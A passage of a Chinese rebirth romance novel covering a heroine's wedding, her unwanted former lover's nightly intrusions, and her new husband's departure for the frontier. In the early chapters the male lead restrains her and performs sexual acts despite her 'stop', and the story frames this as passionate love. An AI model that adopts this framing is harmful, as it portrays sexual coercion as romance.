但好在商榷安并未鲁莽到破坏门窗,他夺过妧枝手里的书丢到一旁,令她全副心神都只能投放到他的身上。
“雕虫小技尔。”他轻简而意有所指道。
与妧枝相比,他纯粹占了个王府长子的身份,过了多年落魄日子,远非是妧枝这样勉强算是贵女的小娘子可比。
他见过她所没见识过的,且混迹于三教九流,只是在步入京都仕途后,多年的权贵将他熏陶的清贵倨傲,以为他一尘不染,实则人间百态,不堪污浊他都经历或亲眼所见。
“你不让我进来,又能奈我何。”
妧枝瞪他,他昨夜才想过不想惹她生厌,今夜却又旧态复发,似是走投无路,只能让她恨他厌他,方能在她心中占有一席之地。
商榷安:“不要嫁给他。”
妧枝:“休想。”
商榷安:“好,既然你不肯收回决议,那我只能每夜造访,你何时改变主意,我便何时不在夜里惊扰你。”
他也知晓是惊扰,妧枝被偷袭的突然,她在商榷安跟前毫无缚鸡之力,她的推挡阻挠都被他四两拨千斤,以刚克柔了。
他轻易就能化解她的挣扎反抗,妧枝愤恼,她出了一身热汗,面容霞红,倏然她失去力气阻止商榷安靠近,如认命般平躺在卧榻上,屈起的膝盖被商榷安拉拢到两边夹住他的腰间。
而妧枝闭上眼,微微气喘,“你这是想逼死我。”
商榷安垂眸俯视着她,对她身上的一切变化,哪怕睫羽轻颤的次数都在心中默默数念:“你不该这般想的,我只是想你重新考虑这桩婚事,若是没有你,何来我商榷安?你也该为你阿母他们考虑考虑,失去你,他们的日子该怎么过下去。”
妧枝睁开眼,商榷安说对了,她的死不过是用来威胁阻挡商榷安的借口,她如今重头来过,样样都好,人生也顺意了,怎么会因为他而真的放弃性命。
可她不能对不起常珽。
像是清楚她的顾虑,商榷安道:“你没有那么喜欢他,阿枝。”
妧枝:“你在胡诌些什么?”
商榷安:“你不过是视他为你的恩人,上一世他对你和你家里雪中送炭,这一世你为了报答他的恩情,提醒他救了他那祖母。而与李含翎他们的亲事,他又再一次帮了你,在周老夫人的推波助澜下,这才促成你们的亲事。
这当中种种,和他对你的相助,这才造成你喜欢上他的错觉。是以你不肯与我亲近,为了报答他的恩情,但凡你与我有一点僭越,都是对他的背叛,这会使你觉得自己忘恩负义,我说的对与不对?”
妧枝看着商榷安的神情,仿佛在说他是不是疯了。
然而商榷安固执认为,他醒悟太迟,或者说,他有意避让不想沾染前世的悲剧,妧枝泣血那一刻,他心中生起一丝难以言喻的痛意,后来在每个夜里延至四肢百骸。
他亦不想再重来害她一回,可到底逃脱不掉只要见她一次,就被吸引一次的感觉,这才错失了先机,让上一世不该有交集的历常珽走到了她跟前。
妧枝注视商榷安半晌:“我与常珽,情投意合。”
商榷安眼底的期许瞬间暗淡,俊容阴郁下来,他不想再听妧枝剖白心迹,而是为她做主,“我知你是为了报答他,但他上辈子就在宫变中丧生,你若放不下对他的恩情,我代你向他报恩。他活下来,你的恩情早就还清了。剩余的,你想他高官俸禄,还是顺遂一生,我来帮你达成就是。”
的确如商榷安所说那样,初始妧枝不过是在历常珽的解救相助下,才答应和他的亲事。
他助她良多,对她温柔体贴,若要选夫婿自当选他这一种。
妧枝道:“可我如今,已经喜欢上他了。”
她的眼睛和商榷安的眼眸长久对视,他死盯着她不放,在浓烈而滚烫的热意中,那双黑眸对妧枝生出扭曲的爱与恨,“你最知该如何逼疯我了,我有时亦是真的恨你,阿枝。”
他俯身而下,妧枝感觉到他解开她衣带的手正不断摸索和探进,并且他的膝盖正巧抵着她蓄力,“住手,商榷安!”
她推打他的脸,然而商榷安毫无所觉,他朝她冷冷一笑,“我不会进去,只想让你知晓,我也能带给你快乐。你总不能老是怪我,给予你的都是痛吧。”
说罢,他钳制住妧枝双手,推举到头顶。
又为了不让她发狠咬他,改为扼制住她的脖颈,单手抵着她的下巴,一路从她耳根、肩头及更迷人之处往下吻。
妧枝只能用余光看见那颗黑色的头颅匍匐在她身上,往下、再往下……四处点火,尽心尽力,在月退心最中间那一处,为她带来一片更燎原的火。
那一刻,妧枝震颤,瞳孔都失了魂魄。
第96章 出嫁。
那天夜里,妧枝根本无法抵御商榷安对她所做的一切,她被他伺候了个遍。
就在闺房中,以唇舎以手指将她拉入到忄青欲的漩涡中,难以挣脱。
但婚事依旧得不到解决。
妧枝执意要嫁给历常珽,彼时商榷安在伺候她体会到滋味以后,妧枝倒在榻上一阵一阵紬傗,汗意流淌,浑身肌肤通红,眼眸失神偏着脸,嘴唇微张。
而商榷安则早已沾到了茶桌旁饮水漱口,嘴里依旧残留着妧枝的味道,他很不在意的感受着,回味且擦过嘴唇,“明夜我还会再来。”
他想说不必锁门,因为无论如何他都能破开阻碍出现在妧枝跟前。
但余光所见,被他尽心服侍过的女子还在榻上反应不过来,商榷安心生怜爱,就这样默默注视了她一会,留给妧枝他今夜的杰作,便理了理衣衫离开。
而妧枝在他走后,许久才回过神动弹,她身上汗意已经变凉,而商榷安喝过茶的杯子被她砸向地面,碎裂成片。
翌日婢女醒来到妧枝房中看见地上狼藉,惊讶不已,而妧枝只以夜里渴了起来喝水,不小心打翻了茶水为由搪塞了过去。
但夜里妧枝的房中动静突然,且次数频繁,即使隔着院子,时日已久也会被发现端倪。
且她与历常珽的良辰吉日就在眼前。
伸手不过两天,在最后一天时,妧枝已不像之前那样惊讶愤怒商榷安的到来。
今夜月圆,在商榷安再次伸手碰到她时,妧枝并未反抗,她甚至主动转过身来,双眼平静而冷淡地凝视着他,“明晚不要再来了。”
夜里出嫁,她从早到晚就要开始打扮,妧府里都会挤满了人,一直到历常珽来接她去郡王府,以后这里她若无事就不会经常回来了。
商榷安再无耻,总不能夜夜去翻郡王府的窗子,若真是那样,妧枝会再毫不客气捅他刀子。
商榷安知她心意已定,心头闪过千般万般念头情绪,无非是考量阻挠她出嫁的成算有几何。
应当是十拿十稳的,但这之后妧枝定然不肯与他罢休,不是你死就是我活,商榷安想让她恨他,却不是这种毫无意义的“恨”。
他搂着妧枝在他怀里,抚摸她的脸庞,指尖抵达衣襟,没有回应她的上句话语,“今夜你想怎么过?最后一夜了。”
妧枝松了口气,如果拿这几日的惊扰作为条件,安抚商榷安让他不要阻止她出嫁,那么暂且算是值得的。
左右他一走,妧枝就会喝上平氏给她开的避孕药汤,这般也不用担心怀上他的子嗣。
“我要养精蓄锐,明日还得打扮应付他人。”意思便是最好不怎么过,识相的商榷安来过后就走,最好。
可惜商榷安看懂妧枝意图,却未满足她的心愿,他捉摸到她脚踝,“让我送一份新婚贺礼给你。”
妧枝感觉到脚上一凉,商榷安为她系上一条金玉做的铃铛,能发出悦耳声响。
商榷安:“今夜,我会让它响彻一晚上。”
妧枝被放倒在榻上,她眼中商榷安眼眸堪称冷静到极致,甚至透露出一丝癫狂,然而动作却炽热而滚烫。
他像是将妧枝的身子当做一幅画,在亲吻她的同时,让她白皙的肌肤盛开出一朵朵艳丽的红痕。
在她想要阻止时,连带她伸来的手指都含在嘴里,像嘬骨一样用最深沉和最忄青欲的目光盯着她,直到脚掌,每根脚趾都无一放过。
而这种被包裹在氵显润且炙热里的滋味让妧枝无一不在身颤,每动一下铃铛便发出动听的响铃。
她遏制不住气息乱极,视野中商榷安不复君子模样,失礼沦丧,他在触及妧枝眼神后看着她的反应如受吸引般,俯身下来想要覆上她的唇,却在下一刻被妧枝躲开。
她上身紧张起伏,半闭着眼想要抗拒的样子令人想对她付诸满腔疼爱,而商榷安并未纵容继续她逃避,而是抬起她的一条月退搭在自己肩上,欺身往前压下来,让妧枝不受控制惊讶地看向他。
而他则如挑衅般逗弄着吻了她的脚心,舎尖氵显热的触感让妧枝发痒不禁想避开,眼神更无处安放。
但这都在商榷安控制在内,他在玩了她足掌许久后,不失余力趁着妧枝分神,倏地扳过她的脸,趁机深吻,如此即使妧枝嫌弃,也终究被他得逞。
“我想杀了他,我终究还是想杀了他。”
让妧枝嫁给历常珽,商榷安依旧无法容忍。
妧枝因他语调中的杀意一震,可在今夜无论说什么,除了叫他的名字,商榷安都不想听见。
待她清醒时,这一夜就在这昏头涨脑和响铃中度过。
妧枝十分担心商榷安会对历常珽做些什么,她拖着被掌控了整夜的身子穿好里衣,唤来婢女,“给,给郡王传信,让他小心。”
那道属于商榷安终将失去心爱之人的狠厉杀意,始终回旋在妧枝耳畔,从白日起,她便开始担心商榷安会对历常珽动手,是在他府上还是,还是在他迎娶她的路上,妧枝万分不安。
天亮,平氏就带人到妧枝房里准备了。
“阿枝,醒了吗?改起了,吉时不可耽误,快快梳妆。”
“大娘子醒了。”婢女前来开门,“主母可以进来了。”
平氏一进来,就看见妧枝坐在妆台前,她先是打量一圈妧枝房中动静,近来下人总说夜里大娘子房中有人,但妧枝不提,平氏便不好过问。
今日就是婚期,作为妧枝的生母,她更不想出什么岔子。
现在一看,妧枝神色如常,房中好似也没什么变化。
唯一不对的,是一声铃响,平氏走近,“什么声音?”
妧枝这才反应过来看向足下脚踝,面上一怔,随即愠怒,商榷安昨夜走时,根本没将他系在她脚踝上的铃铛取下来!
他想她带着它出嫁,若是与历常珽洞房今夜便展示给他听,他与妧枝独处享乐过的乐章。
可历常珽已经受伤,即使痊愈,今后也难有子嗣,妧枝只想今后陪在他身边照顾他,并未考虑夫妻之事。
把这条链子带过去,岂不是在明目张胆朝对方宣示?
“来人,拿剪子来。”在不明缘由的平氏眼里,妧枝拿到剪子将这条铃铛剪开,随即丢弃到一旁。
平氏对上长女黑白分明的眼睛,那里面的目光示意她不要多问,平氏便按捺住疑惑,也替她挡住了些许窥探。
“好了,该梳妆了,黄昏吉时,郡王府就要来人娶你了。”
今日妧府有喜,街坊四邻都来上门庆贺,即便妧家在京都没有亲眷,但客人还是能坐上几桌。
妧枝在屋内梳妆,庭院里便由妧酨和妧柔出面招待客人。
她身上被商榷安留下的痕迹不少,镜子里,透过微开衣襟就能窥见,妧枝拢了拢领子,不让那些痕迹露出来。
除此以外,没有人知晓她昨夜跟谁一起度过,又发生了什么。
妧枝第二次出嫁,装束与上一世没有不同,嫁衣鲜红,珠光宝气,她被婢女和喜娘收拾了许久,最后独坐在床榻上等候郡王府的人来。
她一度担心,昨夜商榷安放的那些狠话,会阻挠历常珽前来。
但当天色逐渐昏黄,一天下来妧府没有丝毫异样,平氏和妧酨等人都不同时辰进来看顾过她,也说了下外边宴客的情况,没有奇怪的人,非常平静,相安无事。
妧枝悬着的心微微放下,却又矛盾而疑惑,难道商榷安这回真的放弃,不会再来打搅她和历常珽了?
若是如此,那的确算他做了件好事。
此时此刻,外面来人敲门,彷如宣告般,“都打起精神来,准备好了,郡王府接亲的队伍来了——”
“来了,来了……”
到她房中陪伴她的一些邻里妇人都兴高采烈,妧枝受到影响,也带了几分笑意在嘴角边。
管事推开门,“请大娘子出嫁。”
妧枝被簇拥着由在外头紧张等待的妧酨进来,将她从房中背出来,然后送上停在妧府大门的王府喜轿。
“阿枝。”平氏和其他妇人站在一起,被搀扶着十分不舍得看着她的身影离去。
迎亲队伍一散,留在府里的客人便坐下开席。
而在郡王府,迎亲队伍一路顺畅抵达归处,妧枝这一路都在等发生点什么,然而一切顺遂到令她意外。
突地,队伍停下,有人敲了敲她的喜轿。
妧枝听见历常珽叫她,“阿枝,到了……”
终于……
终于她与那些前尘往事要没有牵扯了,今后她就是这座郡王府里的主母,历常珽的妻子,往后余生她都将在这座宅子里度过。
来娶她的历常珽将她背起来,妧枝趴在他背上,随他跨过火盆,随即到了红毯处被放下。
妧枝手执扇子挡着脸,却也看清今夜来郡王府参加喜宴的宾客们,吉时每一步都算的正好,一刻都不曾有耽误。
她和历常珽朝着正堂走,观礼的客人都在两旁,妧枝目光一瞥,在距离正堂越近时她不期然看到一个身影,撞入她的视野。
她震惊与之对视,商榷安就在观礼的宾客中注视着她,一直注视着她。
第97章 你说,他们会洞房吗?……
妧枝从商榷安那边的宾客面前经过,她连头都没回,心中却涌现出对商榷安深刻的忐忑。
他竟敢光明正大出现在这里,历常珽呢,他莫非没有发现他?这不可能。
但在婚仪举行和结束的过程中,商榷安仿佛只是单纯来参加这场喜宴,与她目光交界后,居然什么都没做。
在数不清的宾客贺喜声中,他只默默目送着妧枝被郡王府的下人送去了新房,然后独自走出了这座热闹的府宅,与喧嚣的背景形成对比。
商榷安独自走在了长街上,夜幕降临,黄昏坠落后京都城里华灯初上,城民不再像宫变时那样,畏畏缩缩,整条大街上充满繁华的烟火气。
曾经商榷安无数次想过,若是重来,他对妧枝是接近还是不接近。
答案令他无法身心如一,他的身躯意志告诉他,若是不想在情感中被另外一人所掌控,那自然是离得越远越好。
可是觑见妧枝的内心却又心生动摇,而当看到她投注来的目光,充满怨憎与冷漠,还透露出厌恶,就在此分道扬镳,互不相识才是最好的结果。
一意孤行,偏执自我,令他永失所爱,他一生中唯一心动迷恋的女子从此与他再无瓜葛。
商榷安在街头站定,许久没动,令隐没在人群中的下属见后,不得不出现以免他发生意外。
而当枕戈等人悄然赶来时,见到的只有商榷安弯曲的脊背,一手撑着心口,嘴唇痛苦紧抿,仿佛胸膛内有一道伤口正在撕裂他的感受。
“大郎君……”
枕戈扶了他一把,料想他只是见到妧娘子出嫁不舒服,不曾想他连脚步都轻了不少,竟是失魂落魄到如此地步,“郎君若是……想,可以将……抢……或是阻止这门亲事。”
跟随商榷安许久,忠心耿耿的下属已然明了他对妧娘子的感情,竟也不顾道德,只为了商榷安能好过而出谋划策。
感觉到呼吸都难受的商榷安终于在许久之后,能有了一丝喘息的余地,而胸膛内如有千斤重的憋闷始终萦绕其中,且夹杂着一丝时不时会撕裂的疼痛。
他平缓了气息,重新直起腰身,“那就真的令她恨我到痛不欲生了。”
枕戈:“大郎君……难道不是一直都想这般让妧娘子记着你么?”
商榷安黢黑的眼珠静默而凛冽地往不小心冒犯的下属身上一扫,爱恨有两面,非喜便是厌,他的确有意择取另一面,只因为他早已料想到妧枝对他不会再有爱意了。
但不代表他就真的只想她恨他就够了。
商榷安什么也没说,挥开什么都不懂的下属的扶持,继续往前走,没入人群消失了。
而被冷冷睨了一眼的枕戈下一刻被人重重拍了一下头。
同僚骂道:“蠢货,谁会一直想让人恨死自己呢。与其说恨,不如说是大郎君还在期望那位娘子爱死他呢。”
郡王府的喜宴热闹不止,前院有许多甘府的亲眷前来帮忙招待,期间还来了一回宫里的人行赏。
许是知晓历常珽受伤,妧枝还能不离不弃,令宫中对她改观不少,他们的婚事就连圣上都没有再次为难。
历常珽在甘贯轩帮助下,被挡了不少酒,但也醉意熏然。
宾客们如至而归,还感觉不够尽兴,依旧令郡王府的下人继续上酒,热闹声沸沸不停,而在甘府的亲眷吸引了注意力后,已经喝了许多酒的历常珽被悄悄带着脱离了宾客们,从一条拐弯的路上步入后院,来到他与妧枝的新房。
妧枝坐在房内已经许久,她思绪纷乱,一时想到前来看她成亲沉默观礼的商榷安,颇为担心他会捣乱,然而时辰一息一刻过去。
她问了婢女前院情况,得知在她被送进后宅后,那宾客里面就已经没有宰执大人的身影了,登时颇为意外。
而历常珽还在前院待客,想来在这么多宾客还有甘府的亲眷在旁的情况下,商榷安定然是不好动手的,这无异是惹了众怒,或许自知自讨没趣而离开。
这样这也代表他们的牵扯到此终结。
妧枝提着的心逐渐放下来,她在房中耐心等待,直到屋外下人搀扶和叮嘱的声音响起,历常珽终于结束前院的应酬,到新房里见她。
“阿枝……”
历常珽扑上来,因酒意上头没站稳,在房门关上后,整个人都压倒在妧枝身上。
二人在榻上相拥,妧枝带着微笑看着今日的历常珽,他们各自身着喜服,来祝贺的宾客无一不称赞这对新婚夫妻的登对。
“常珽。”
“你高兴吗,阿枝?”历常珽不胜酒力,意识却还残留几分,他搂着妧枝朝她吻了下来。
妧枝:“高兴,常珽,你呢?”
忽然,在短暂的亲昵过后,妧枝感觉到脸上湿了一片,不知何时她沾染上历常珽的泪,她睁开眼这才惊觉不知什么时候历常珽竟哭了。
他捂住妧枝的眼,并未再让她看着他,“高兴,我很高兴……阿枝,能娶你,是我这一世的幸运。”
今夜洞房花烛,本该共享良宵,但历常珽受过伤,他在搂紧妧枝后,等到心绪平静倏地将她放开,“我去拿合卺酒,喝完早些歇息。”
妧枝看着他的起身离去,历常珽还处于醉酒中,动作并不那么利索,倒酒时差点倒漏出来。
等他回过身来,拿来酒杯递给妧枝,除了醉意,眼里还有温柔情意凝视着她。
“喝吧,喝了,你我就是夫妻了。”
妧枝反驳:“即使不喝,婚仪都举行了,成了婚不是夫妻是什么,难道你还想反悔?”
历常珽笑了笑,“是我说话不中听。”
妧枝搭着他的手,二人共同交杯喝下去,一股辛辣之意在喉咙中弥漫流淌,二人神色都有了变化,历常珽尚且还能自持,妧枝则面容浮红一片。
待到历常珽要走时,妧枝拉住他,“去哪儿?”
历常珽惊讶道:“我,我去放杯子。”
妧枝拿过他手里的酒杯与自己的一同随意滚落到地毯上,“别走,我们洞房花烛夜,你难道不该珍惜良辰……?”
她盯着历常珽,眼中坚定不改,“我们是不是该行夫妻之礼了?”
历常珽惊讶到体内酒意蒸腾,似乎瞬间清醒,既不可置信又复杂地回视妧枝,直到他被妧枝的手拉着到榻上坐下,她解开两边床幔,遮挡住内里的光景。
“可我……”历常珽内心挣扎,想到自己难处,苦涩道:“可我如何能行。”
妧枝一句话打断他,“常珽,你就不想看看我吗?”
她今夜嫁作人妇,上了妆容,带着情意看她,就如看这世上最美的女子,历常珽如受蛊惑跟妧枝对视,在她缓缓靠近下,再说不出拒绝的话。
床幔中,历常珽的身影随着妧枝朝榻上倒下,一如妧枝所说,即是夫妻,该当行礼,她并不介意他那方面有损失,而他们依旧能完成这等仪式。
“常珽……”妧枝褪了衣裳抱住他。
历常珽不再纠结,同样拥抱回去,二人在这夜虽不完美,却仍旧水乳交融在一起,直至发出再无遗憾的叹息。
……
京都城墙上,晨光熹微,一道青色衣衫的人影因凉夜终于消退而打了两个喷嚏。
亲信哆嗦着摸了摸臂膀,禁不住看向另一方望着天色日出方向的背影,那道背影更加冷峻修长,像不怕冷一样。
深秋之际,尤其深夜连战士们都燃起了火盆,而大郎君却不让任何人打扰,孤零零的在此逗留了整整一晚。
随后不久,枕戈来到他身旁道:“大郎君,是不是该回去了,天,都亮了。”
昨夜郡王府有多热闹,他们郎君这头就有多凄凉,因成全了妧娘子和锦瀚郡王,不忍破坏她想要的安宁,于是独自在这伤神,可再强悍的躯体也禁不住凉风瑟瑟。
担心商榷安冻坏了身子,枕戈唯有劝他回府。
良久,商榷安才转过身来,他俊脸仿佛失去血色,冰冷发白,可眼睛却仍旧黑亮深邃,周身气势低迷而沉郁,他问:“你说,他们会洞房吗?”
枕戈当即哑口无言,一副惊骇的模样不敢随意答话。
可商榷安却从他神情中看出答案,冷风吹拂起他的衣袍,他于晨光中淡淡笑道:“应该,她是个主动的女子,从前对我便是那样。”
她实在好极了,认定了嫁的人,便会极其主动。
他们即是夫妻……又怎会不相拥而眠?
商榷安眼中流淌着惆怅的神色,其中的黯然神伤在他动身离开城楼这一刻,孤身寂寥的气息再无处掩藏。
昨夜离开郡王府,在人满为患的热闹夜市中,商榷安不知为何一下不知归宿在哪,该去向何方,权势他有,可倾天下。
但他失去了一个人,一个本该,他唾手可得的女子。
人海茫茫,他再找不到像她那样一见就勾动他反应,让七情六欲都躁动的女子。
于是唯有找人看着自己,夜不归宿,吹上一夜冷风,若不这么做,只怕他已经提着剑重返那座娶了他“妻子”的王府。
就在商榷安走下城楼时,只听一道声音在背后模糊大喊:“郎君——”
他身形摇晃,蓦然于天亮中跌倒下去。
第98章 别离。
郡王府的新房中,昨夜春宵帐暖,历常珽虽一时无法再行人事,但他与妧枝却有了一个不一样的洞房之夜。
“阿枝,多谢你,我真的非常高兴。”
历常珽与妧枝紧紧抱在一起,仿若此生都无憾了。
而经过温存,妧枝沉沉睡去,一直到天亮疲累渐消,而她醒来时周身清爽,看着她身上衣裳就知道定是历常珽帮她清理过了。
她会心一笑,可床榻上另一旁的余温却早已变得冰凉。
“王妃醒了。”婢女听见屋内动静,开始进来侍候她梳洗。
妧枝点头,让她们伺候,而她则打量白日里房里的景象,竟有了一丝恍惚,只觉着新房和上辈子的有些像,都是赤红的一片,喜气洋洋。
连窗上都被贴满红色的剪纸,桌上花瓶里则插着新鲜的枝叶,她愣了一下,突然想起来问:“郡王呢?”
她从起身后没见到历常珽,以为他有事出了去。
毕竟在外看来他们可是新婚,虽然双亲不在,晨起妧枝可以不用去请安,甘府的亲眷也不会前来打扰,但历常珽也该前来陪伴他新婚的妻子。
婢女在替她梳头时道:“管事方才来说,若王妃醒了,可去书房一趟。”
妧枝心下一松,莫名的不安很快挥去,而在梳洗打扮过后,婢女也将吃食送来给她。
整个王府对她就如对历常珽一般,恭敬伺候着,妧枝没有过多久留,她在房中用完吃的便起身去了历常珽的书房。
而在那间摆满书籍的屋子里,妧枝悄然进去,为了不打扰历常珽而脚步放轻。
“常珽。”
她四处找了找,在屋中呼唤他,最终却只在书桌上发现一封留给她的书信。
妧枝微露迟疑,将那封写着阿枝亲启的信给打开,在看到上面的笔墨后,迟疑化作了震惊,她开始抓着信纸从书房跑出去。
在郡王府里寻找历常珽的身影,而似早有准备的下属就在路上等着她。
“郡王呢?他在何处?”
顾曲将她拦下,“王妃可有看郡王留给你的书信?”
“圣上有令,边关需派遣文官上任,前军营主簿任其已满,郡王有意为国效力,自请上任,而今天未亮就已出发了。”
“还请王妃不必担心……”
他语速渐缓,目光不知不觉瞥向妧枝手上的被拆开的书信,想来刚才所说,王妃都应该从上面了解到了。
但,那封信此刻看起来更像是一封和离书。
只见妧枝怔然在原地,久久未能回神。
而她攥着手里的信件,在拿到它的时候,有一刻竟不敢相信这就是历常珽的想法。
他在与妧枝度过一夜后,隐瞒了对将来的打算,就这般不告而别。
“……他可有说何日归京?”
顾曲依言看向妧枝手里留给她的东西。
不必多问,妧枝已经有了答案,上面历常珽并未说何时归来,看来他对下属也未曾透露,也许是任其将满,亦有可能永不归京。
而这封和离书,就是留给妧枝最后的后路。
“给我备车。”妧枝道。
顾曲以为自己听错了,“什么?”
妧枝却道:“王妃的命令让你听不清话了?我说备车,郡王上任,难道连王妃都不带上了?”
顾曲当即大惊,在对上妧枝的眼神后,又不得不遵从她的吩咐,“是,属下这就去。”
对方走后,妧枝一时难掩忧伤的再次看向手中的书信,她没想到新婚之夜后,迎来她的竟会是这样的局面。
无论如何,她都须得历常珽给她个说法。
京都大街上,一辆马车从深宅大院的府门外出发,而这次意外的是顾曲亲自驾车,妧枝则开了窗,坐在离门最近的地方,目光坚毅,像是有什么极为严肃的事困扰了她一样。
这对新嫁娘来说十分不妥,在路过街边药铺时,一道出来拿药的人影看见这一幕,抱着药包惊讶了一瞬,随后在马车经过后,转头向着来时的方向快步离去。
到了京都的城门口,车辆被守城的官兵拦下。
顾曲正给他们查看同行的牙牌,而妧枝则始终在旁目视前方,待到过了关卡,出了城后,马车停在宽敞的离京官道上。
“王妃……”
顾曲斟酌后,终究还是对妧枝劝道:“此去离京,要通关文书才行,历任臣子出关上任,都是不携家眷的,不若还是回去吧。”
他们一行出来,妧枝根本未曾收拾行李,许是有历常珽交代,顾曲也未做丝毫准备。
前路是铺了石子的大道,但再远去路就没那么平顺还走了,还得坐船,翻山越岭经过周折才能抵达边关,去了以后那里也没有地方能招待她。
就如所想的那样,此举不过是为了让妧枝知难而退。
而妧枝也沉默地望着历常珽离开的方向,她还握着他留给她的书信,上面黑白分明,字迹清晰地写着:
……此去边关,是我志愿,京都朝堂风云变幻,已不适合我再留在此地,但阿枝你,尚且有大好时光。
昨夜于我,乃人生中最圆满的一个良宵,我已别无遗憾。
阿枝,勿追勿念,就当你我缘分浅薄,好聚好散。
若愿和离,自当成全。
自从宫变后,妧枝得知历常珽受伤,就已感觉出他性情有变,原先只以为他是在那场叛乱中受了惊,好生调养,陪伴在他身边就能抚慰他受到的伤害。
不曾想,过去这些时日,历常珽始终无法放下宫中给他造成的阴影,这京都,已经成了令他终生难忘不可磨灭的阴影之地。
这场放逐,兴许早有预谋。
“王妃。”身边顾曲还在劝。
此时,另有一辆马车忽而从后面驶出来,马声嘶鸣,抬起铁蹄后稳稳当当停在一旁。
妧枝和历常珽的下属都朝这一插曲瞧去,而对方车上的窗户忽然打开,一张熟悉的面孔暴露在他们眼前,商榷安就坐在马车里面,面色微白,神情冷峻地看着他们,不知为何气势有几分抱恙似的虚弱。
而他的亲信枕戈从另一边探出头来,“妧娘子。”
他竟称呼的是妧枝未嫁前的称呼,商榷安始终沉默不动,枕戈问:“妧娘子,出什么事了?可需要帮忙?”
这下妧枝与顾曲都静默下来,气氛变得尤为古怪,历常珽刚新婚就抛下成亲的妻子去了边关,还愿意与妧枝和离,这可不能叫其他人知道。
然而看了他们许久的商榷安却突然招呼她,“过来,我带你去找他。”
妧枝顿时惊讶地看向他,在漠然的商榷安身上似乎发现了端倪,他好像已经知道实情,而身为宰执,如今炙手可热的大人物,身在官场怎么可能不知道下官的行动去向。
想必这种调动,商榷安就算知道历常珽离京了也无可厚非。
可让人诧异的是,他竟并未阻拦,而有意要帮她?
“咳,咳咳。”妧枝回神,朝着商榷安瞧去,他唇色多了抹鲜红,而面容显得更加白俊了,只是拧着眉,哑声催促,“不想去?还不快些。”
“王妃……”
妧枝动了下,顾曲想要将她叫住,而另一头枕戈已经下来过来接她。
妧枝从马车上下来去了商榷安那,未能劝阻的顾曲只能作罢。
而车内,待到妧枝上来后,商榷安不曾有片刻犹豫,便朝外吩咐,“驾车。”
枕戈为此差点没赶上,最后还是抓住了马车一角快速跳上来,最后坐到了车夫旁。
车门被他合上,一下只剩妧枝与商榷安独处起来。
在坐了一会后,妧枝听见了新的咳嗽声,她这次终于不禁瞥去目光,却发现从她进来后商榷安便一直盯着自己,他而手抵着唇,眉头微蹙,俨然在隐忍。
妧枝问道:“你,这是怎么回事?”
商榷安淡淡道:“风寒。”
妧枝记得他不经常生病,且商榷安体格颇为强悍,与朝中那些武将相比亦差不了多少,竟会因此而中招?
但二人已经没有干系,妧枝不便再多问,且商榷安姿态仿佛颇为冷淡,在妧枝犹豫要不要宽慰一句时,他再次率先开口道:“嫁了人,开心吗?还没向你说声恭喜。”
这般,妧枝一下想起他昨日在婚礼上前来观礼的事。
没有破坏婚仪。
四目相对,显然商榷安对她心中想法若有所觉,转而抬了抬下颔,更为深邃的凝视着她。
若不是他语气中没有讥讽,开头那句话只怕会误以为他在取笑她。
“不必……我,不必恭喜我。”妧枝回道。
商榷安很快问道:“怎么回事,你与历常珽?”
事到如今,也没有什么不可说,妧枝攥紧了手中的和离书,而这一举动早已被商榷安注意到,他瞬间抬手,“给我看看。”
沉默良久,妧枝才下定决心递过去给他。
成婚第一日就被抛弃,妧枝心绪也难以平静,同时她问:“你不是宰执,难道不管京都事务,就可以这样出关吗?”
商榷安早在她伸手之际将那封信接过来,同时道:“他若是天亮前不久离京,此时也应刚走不久,离得不远就能追上。”
说着,历常珽留给妧枝的信也被商榷安快速阅览着,看完商榷安瞬间看向妧枝,而她正同样等待着商榷安的反应。
仅仅对视片刻,商榷安便不足为奇道:“看来宫中对他造成影响不小,圣人体谅他,适才允诺他离京。”
马车行驶在官道上不曾停蹄,而在鹭洲的渡口处,一旁有一处不多客人的茶馆。
前方是清澈的河水与遍布的山峦,四周散落着载着客人或清空的船舫。
历常珽就坐在那,默默望着前方,直到船桨的声响令河水泛起水花,倏地一声动静,打断他的神游和心不在焉,“大人,船要开了,该上去了。”
历常珽“啊”一声,从茶馆出来,就在即将登船那一刻,“常珽!”
不知何时,妧枝竟赶到这里叫住他。
这声呼唤令历常珽误以为是幻觉,而当又一声他的名字响起,历常珽终于回头。
这一眼真正看到了妧枝出现在他眼前,而她身后还默默跟着一道熟悉的身影,商榷安就站在不远处,只觑着妧枝,并未朝这边靠过来。
第99章 远走高飞。
妧枝走向历常珽,青山绿水为景,船家的吆喝声就在附近,但无人上前来打扰他们。
“阿枝。”被抓个现行,历常珽竟有一丝逃避,不敢面对追来的妧枝。
“常珽,这到底是怎么回事?”
妧枝走到他跟前,把信始终拿在手上,示意道:“这可是你心里话?”
历常珽盯着那封留信,下一刻苦涩一笑,“是,我所言,都在这封信上。”
“可你若不想留在京都,可以同我说,何必?”妧枝看了眼不远处的渡船。
她此刻竟有说不出的失望,可是更多责怪的话对历常珽也说不出口。
历常珽行程已定,定是在她出嫁之前休养那段时日就下定的决心,妧枝本以为他一切都已经转好,实际上那不过是为了安慰大家,历常珽才做的无奈之举。
他很想离开这片是非之地,尤其被重创以后。
“阿枝,且听我说……”
历常珽情不得已,只能哀叹一声,说:“远离京都,是我在遇见你之前就产生的想法,自从父母皆亡,我便无心朝政,奈何周旋官场一直不能随心所欲,便一直忍耐至今。直到遇见你……”
若不是在濉安王府和妧枝相遇,历常珽早就有做打算离开都城。
年前,他在甘府对甘贯轩无心说了句,“今日朝堂之上,有边关回来的将军,谈及塞外仿佛心胸开朗,我倒是想去看看那边风情具体如何。”
很快甘贯轩便告诉了周老太君,他的祖母。
“边关大漠孤烟,景色虽好却十分凶险,你以为是想去便去?若是去了回不来,你让我如何向你父母交代。”
于是为了按住历常珽这份离京的心思,周老夫人便称病身子不舒服,日日都将历常珽放在眼皮底下看着,让他陪伴侍奉左右。
年后桃花开了,天气暖和不少,正适合出门走动。
听说了濉安王府的亲事,周老夫人便带着他登门,他们往常也会来往亲戚家做客,若是那天没有随周老夫人去濉安王府,历常珽也不知今后还会不会遇见妧枝。
妧枝:“你后悔了?这辈子和我相识,你后悔了?”
“不。”历常珽十分坚定道:“别这么说,阿枝,我怎会后悔与你认识?我只是,只是……”
说到难处,他摇头苦笑,“我只是觉得,我已不配做一个人夫,而你还有许多可能。”
“可我并不介意。”妧枝道:“昨夜,你我不是很好吗?”
即便历常珽那方面欠缺,但二人同榻共眠,也感受到了彼此的温暖,妧枝便觉得这般就好。
但显然,历常珽丝毫不那么认为,他只看着远处山水道:“也,不单单是为了那般。”
